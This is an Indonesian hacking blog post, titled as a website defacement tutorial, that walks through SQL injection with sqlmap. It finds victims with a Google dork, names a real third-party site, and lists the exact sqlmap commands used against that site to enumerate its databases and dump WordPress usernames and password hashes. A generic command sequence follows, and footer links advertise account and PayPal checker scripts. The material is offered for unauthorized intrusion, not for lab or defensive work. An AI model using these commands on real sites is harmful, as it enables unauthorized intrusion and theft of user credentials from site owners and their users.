Indonesia Security Center

Assalamu'alaikum sob (^_^). Mungkin tutorial ini agak jadul sob wkwkwkwk, karena sudah banyak blog yang memposting nya !! tapi ngak apa-apalah , untuk mengisi blog saya , adapun tutorial sqlmap pada windows dan bada backtrack hampir sama (^_^) tetapi pada windows agan harus menginstall sqlmap dan python.  
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjI3LaqR24t9EamU3vRt3uCGOvg06_wtFCtKUqTjaJ0i3BkUsKbLyLGj8Gk5VblxtXgxLxNsSh2i5azSkw0zrEAueF90G9ag89SUOdexPKk7grmPKXzxu6IUOCQQ-F_M7aq1MeSS1k7bzA/s1600/sqlmap.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="275" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjI3LaqR24t9EamU3vRt3uCGOvg06_wtFCtKUqTjaJ0i3BkUsKbLyLGj8Gk5VblxtXgxLxNsSh2i5azSkw0zrEAueF90G9ag89SUOdexPKk7grmPKXzxu6IUOCQQ-F_M7aq1MeSS1k7bzA/s400/sqlmap.png" width="400" /></a></div>
 
<ul>
<li>sqlmap download <a href="http://downloads.sourceforge.net/sqlmap/sqlmap-0.9.tar.gz">di sini</a></li>
<li>python download <a href="http://downloads.sourceforge.net/sqlmap/sqlmap-0.9.zip">di sini</a></li>
</ul>
 
<div>
 </div>
 
<div>
Kelebihan menggunakan SQL Map:</div>
 
<div>
1. Bisa melakukan SQL Injection dengen beberapa method seperti:</div>
 
<div>
- Boolean-Based Blind SQL Injection</div>
 
<div>
- Time-Based Blind SQL Injection</div>
 
<div>
- Error-Based SQL Injection</div>
 
<div>
- UNION Query SQL Injection</div>
 
<div>
- Stacked Query SQL Injection</div>
 
<div>
2. Bisa berjalan baik untuk beberapa jenis database seperti:</div>
 
<div>
- MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, SQLite, Firebird, Sybase &SAP MaxDB</div>
 
<div>
 </div>
Langsung saja buka marinecyber sqli scanner <a href="http://marinecyber.com/tools/hack/sqli/" style="line-height: 18px;">di sini</a> dan tulis <a href="http://blog.marinecyber.com/search/label/dork">google dork</a> di kolumn yang tersedia , kalau google dork nya agan bisa lihat <a href="http://blog.marinecyber.com/search/label/dork">di sini</a> atau <a href="http://blog.marinecyber.com/2012/10/google-dork.html">di sini</a> , dalam contoh ini saya menggunakan dork "inurl:opinions.php?id=" 
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-0CxGzPvZ8Zk/UNeiW3zXnkI/AAAAAAAAAfs/9p_mXJMJy7I/s1600/1.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="157" src="https://2.bp.blogspot.com/-0CxGzPvZ8Zk/UNeiW3zXnkI/AAAAAAAAAfs/9p_mXJMJy7I/s400/1.JPG" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
 </div>
<div class="separator" style="clear: both;">
 </div>
<div class="separator" style="clear: both;">
</div>
<ul>
<li>pilih salah satu situs target nya disini saya menggunakan situs di bawah ini</li>
</ul>
<div>
Found : <a href="http://golosdoma2.com/opinions.php?id=%2721" style="text-decoration: initial;" target="_blank">http://golosdoma2.com/opinions.php?id='21</a> <-- SQLI Vuln Found..</div>
<div>
 </div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-kAEtN-qHeec/UNekZnFIcdI/AAAAAAAAAgA/UmDlVpfP0Tk/s1600/2.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="282" src="https://4.bp.blogspot.com/-kAEtN-qHeec/UNekZnFIcdI/AAAAAAAAAgA/UmDlVpfP0Tk/s400/2.jpg" width="400" /></a></div>
<div>
 </div>
 
<div class="separator" style="clear: both;">
klik ajah link tersebut , dan saya melihat </div>
 
<div>
 </div>
<div>
Warning: mysql_fetch_assoc() expects parameter 1 to be resource, boolean given in /home/users1/v/victarius/domains/golosdoma2.com/opinions.php on line 25</div>
<div>
 </div>
<div>
Bahwa situs tersebut memilki bug , dan insyaallah bisa di masuki sob (^_^)</div>
<div>
 </div>
<div>
<ul>
<li>buka command prompt ketik " cd C:\Users\BL4CK_3YE116\Desktop\sqlmap " tanpa tanda petik , directory C:\Users\BL4CK_3YE116\Desktop\sqlmap merupakan directory folder tempat sqlmap berada</li>
</ul>
</div>
</div>
 
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-nLoX2DN9uwE/UNenj3EWZpI/AAAAAAAAAgU/GbWFfDvxGXw/s1600/3.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="202" src="https://2.bp.blogspot.com/-nLoX2DN9uwE/UNenj3EWZpI/AAAAAAAAAgU/GbWFfDvxGXw/s400/3.JPG" width="400" /></a></div>
 
<div class="separator" style="clear: both; text-align: center;">
 </div>
 
<div class="" style="clear: both;">
</div>
 
<ul>
<li>setelah itu ketik sqlmap.py -u http://situstarget/opinions.php?(sqli) di sini saya menggunakan situs http://golosdoma2.com/opinions.php?id=22 , dan saya mengetik sqlmap.py -u http://golosdoma2.com/opinions.php?id=22 untuk scan situs tersebut</li>
</ul>
 
<div class="" style="clear: both;">
</div>
 
<ul>
<li>lalu ketik sqlmap.py -u http://situstarget/opinions.php?(sqli) --dbs disini saya menggunakan sqlmap.py -u http://golosdoma2.com/opinions.php?id=22 --dbs , untuk melihat database situs tersebut</li>
</ul>
 
<div class="separator" style="clear: both; text-align: center;">
</div>
 
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-e67OO3uN7cA/UNeoh-BVEaI/AAAAAAAAAgo/zSms11rUdyQ/s1600/4.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="115" src="https://3.bp.blogspot.com/-e67OO3uN7cA/UNeoh-BVEaI/AAAAAAAAAgo/zSms11rUdyQ/s400/4.JPG" width="400" /></a></div>
 
<div>
 </div>
 
<div>
Saya menemukan  information_schema dan victarius</div>
 
<div>
 </div>
 
<div>
<ul>
<li>saya menggunakan database " victarius " lalu sqlmap.py -u http://golosdoma2.com/opinions.php?id=22 -D victarius --tables untuk melihat tables dari database tersebut</li>
</ul>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-NtfhHDl6BFE/UNewra0YXSI/AAAAAAAAAhM/swh7GJm7WS0/s1600/4.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="115" src="https://3.bp.blogspot.com/-NtfhHDl6BFE/UNewra0YXSI/AAAAAAAAAhM/swh7GJm7WS0/s400/4.JPG" width="400" /></a></div>
 
<div>
 </div>
<div>
Saya menemukan table wp_users yang menurut saya menarih , :) hehehe  </div>
</div>
 
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-OI3r1RujOb8/UNewdzOW7WI/AAAAAAAAAhE/vohEQLg5lgE/s1600/5.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="188" src="https://3.bp.blogspot.com/-OI3r1RujOb8/UNewdzOW7WI/AAAAAAAAAhE/vohEQLg5lgE/s400/5.JPG" width="400" /></a></div>
 </div>
 
<div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<ul>
<li>setelah itu ketik sqlmap.py -u http://golosdoma2.com/opinions.php?id=22 -D victarius -T wp_users --column , untuk melhat  column dari tables tersebut , lalu muncul</li>
</ul>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-FcmBcAi-GHQ/UNeykF-uW5I/AAAAAAAAAhg/sRbf9XZkK_c/s1600/6.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="186" src="https://3.bp.blogspot.com/-FcmBcAi-GHQ/UNeykF-uW5I/AAAAAAAAAhg/sRbf9XZkK_c/s400/6.JPG" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
 </div>
<div class="separator" style="clear: both;">
Saya pilih column ID,user_login,user_pass yang menurut saya menarik (^_^)</div>
<div class="separator" style="clear: both;">
 </div>
<div class="separator" style="clear: both;">
</div>
<ul>
<li>dump column tersebut dengan cara sqlmap.py -u http://golosdoma2.com/opinions.php?id=22 -D victarius -T wp_users -C ID,user_login,user_pass --dump , lalu muncul dah</li>
</ul>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-ql6UfIvCaW8/UNezazmKWzI/AAAAAAAAAhw/GUiAE0DrMK0/s1600/7.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="112" src="https://2.bp.blogspot.com/-ql6UfIvCaW8/UNezazmKWzI/AAAAAAAAAhw/GUiAE0DrMK0/s400/7.JPG" width="400" /></a></div>
<div>
 </div>
 
<div>
Password tersebut adalah MD5 wordpress , dan setahu saya ngak bisa di crack ! :( tapi dalam sqlmap ada tools untuk menebak jenis password tersebut dengan dictionary yang ada :) untuk melihat definisi dan jenis hash bisa di lihat <a href="http://blog.marinecyber.com/2012/12/tentang-hash.html">di sin</a></div>
<div>
 </div>
<div>
Tambahan :</div>
<div>
 </div>
<div>
Biar lengkap saya kasih step-stepnya:</div>
<div>
<ul style="line-height: 18px; list-style-type: square; margin: 0px; padding: 0px 0px 15px;">
<li style="list-style-type: square; margin: 0px 0px 0px 20px; padding: 0px;">Test injeksi dengan men-fetch banner mysql (versi mysql)</li>
</ul>
<div style="line-height: 18px; padding: 0px 0px 15px;">
<code>./sqlmap.py -u "http://situs_target.com" --random-agent --threads 10 --banner</code></div>
<ul style="line-height: 18px; list-style-type: square; margin: 0px; padding: 0px 0px 15px;">
<li style="list-style-type: square; margin: 0px 0px 0px 20px; padding: 0px;">Fetch user yang digunakan, dan db yang sedang digunakan dengan flag (–current-user dan –current-db), langkah ini ialah analisis user yang dipakai di DBMS dan DB yang sedang digunakan pada website tersebut.</li>
</ul>
<div style="line-height: 18px; padding: 0px 0px 15px;">
<code>./sqlmap.py -u "http://situs_target.com" --random-agent --threads 10 --current-user --current-db</code></div>
<ul style="line-height: 18px; list-style-type: square; margin: 0px; padding: 0px 0px 15px;">
<li style="list-style-type: square; margin: 0px 0px 0px 20px; padding: 0px;">  Fetch list database yang bisa dihandle oleh user website-in@localhost dengan flag (–dbs)</li>
</ul>
<div style="line-height: 18px; padding: 0px 0px 15px;">
Dengan mengetahui list databse yang lain kita dapat bebas melakukan injeksi pada setiap database yang available untuk di injeksi. <code>./sqlmap.py -u "http://situs_target.com" --random-agent --threads 10 --dbs</code></div>
<ul style="line-height: 18px; list-style-type: square; margin: 0px; padding: 0px 0px 15px;">
<li style="list-style-type: square; margin: 0px 0px 0px 20px; padding: 0px;">Fetch list tables di database portal dengan flag (-D nama_tabel –tables)</li>
</ul>
<div style="line-height: 18px; padding: 0px 0px 15px;">
<code>./sqlmap.py -u "http://situs_target.com" --random-agent --threads 10 -D nama_tabel --tables</code></div>
<ul style="line-height: 18px; list-style-type: square; margin: 0px; padding: 0px 0px 15px;">
<li style="list-style-type: square; margin: 0px 0px 0px 20px; padding: 0px;">Fetch isi kolum pada setiap tables dengan flag (–columns)</li>
</ul>
<div style="line-height: 18px; padding: 0px 0px 15px;">
<code>./sqlmap.py -u "http://situs_target.com" --random-agent --threads 10 -D nama_tabel  -T nama_kolom --columns</code></div>
<ul style="line-height: 18px; list-style-type: square; margin: 0px; padding: 0px 0px 15px;">
<li style="list-style-type: square; margin: 0px 0px 0px 20px; padding: 0px;"> Sekarang kita akan men-fetch hanya isi dari kolum dengan flag (-D nama_tabel -T kolom -C isi_kolom1,isi_kolom2 –dump)</li>
</ul>
<div style="line-height: 18px; padding: 0px 0px 15px;">
<code>./sqlmap.py -u "http://situs_target.com" --random-agent --threads 10 -D nama_tabel  -T nama_kolom -C isi_kolom1,isi_kolom2 --dump</code></div>
<div style="line-height: 18px; padding: 0px 0px 15px;">
 </div>
<div style="line-height: 18px; padding: 0px 0px 15px;">
agan juga bisa menggunakan <a href="http://marinecyber.com/tools/">tools online marinecyber</a> untuk memudahkan agan ,, tools hack <a href="http://marinecyber.com/tools/hack/">di sini</a> , saya menyediakan <a href="http://marinecyber.com/tools/hack/adminfinder/">adminfinder scanner</a> dan <a href="http://marinecyber.com/tools/hack/sqli/">sqli scanner</a></div>
<div style="line-height: 18px; padding: 0px 0px 15px;">
sampai di sin saja saya mohon maaf jika ada salah kata , berhubung saya hanyalah seorang newbie yang ingin mencoba (^_^)</div>
</div>
</div>

Deface Website Dengan Metode SQL Injection SQL-MAP 2016

Assalamu'alaikum sob (^_^). Mungkin tutorial ini agak jadul sob wkwkwkwk, karena sudah banyak blog yang memposting nya !! tapi ngak apa-...

Baca selengkapnya »

Deface Website Dengan Metode SQL Injection SQL-MAP 2016

Script Wish Account Checker 2016

Download BoBoiBoy: The Movie (2016) + Subtitle Indo

Cara Agar Wifi kita tidak di bobol Orang yang menggunakan diam2 menggunakan NetCut Versi Arcai.com 2016

GTA Extreme Indonesia Full MOD 2016 Single Download V6.1

Update Script Paypal Checker No Socks Terbaru New 2016